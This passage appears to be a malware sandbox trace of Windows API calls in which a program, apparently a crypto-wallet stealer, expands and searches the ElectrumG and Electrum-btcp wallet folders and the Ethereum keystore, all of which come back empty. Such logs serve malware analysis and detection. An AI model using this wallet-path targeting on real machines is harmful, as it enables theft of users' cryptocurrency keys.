| out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", len=0x42 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*") returned 1 [0075.157] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*", len=0x41 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*") returned 1 [0075.157] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*", len=0x41 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*") returned 1 [0075.157] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*", len=0x41 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*") returned 1 [0075.157] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*", len=0x41 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*") returned 1 [0075.157] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.157] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", len=0x41 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\") returned 1 [0075.157] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", len=0x41 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\") returned 1 [0075.157] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", len=0x41 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\") returned 1 [0075.157] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.157] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.157] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.157] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.157] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.157] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.157] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Electrum-btcp\\wallets\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 0x45 [0075.157] SysReAllocStringLen (in: pbstr=0x18e5d0*="%appdata%\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.157] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ã\x18", lpUsedDefaultChar=0x0) returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x23201d8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x23201d8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", len=0x46 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", len=0x46 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*") returned 1 [0075.158] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", len=0x46 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*") returned 1 [0075.159] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", len=0x45 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*") returned 1 [0075.159] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", len=0x45 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*") returned 1 [0075.159] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", len=0x45 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*") returned 1 [0075.159] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", len=0x45 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*") returned 1 [0075.159] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.159] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", len=0x45 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\") returned 1 [0075.159] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", len=0x45 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\") returned 1 [0075.159] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", len=0x45 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\") returned 1 [0075.159] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.159] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.159] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.159] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0075.159] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.159] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.159] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Ethereum\\keystore\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 0x41 [0075.159] SysReAllocStringLen (in: pbstr=0x18e5d0*="%APPDATA%\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.159] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="UTC*", cchWideChar=4, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UTC*\x09\x04", lpUsedDefaultChar=0x0) returned 4 [0075.160] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x3982e4c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x3982e4c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", len=0x42 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", len=0x42 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*") returned 1 [0075.160] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", len=0x42 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*") returned 1 [0075.161] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*", len=0x41 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*") returned 1 [0075.161] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*", len=0x41 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*") returned 1 [0075.161] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*", len=0x41 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*") returned 1 [0075.161] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*", len=0x41 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*") returned 1 [0075.161] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, 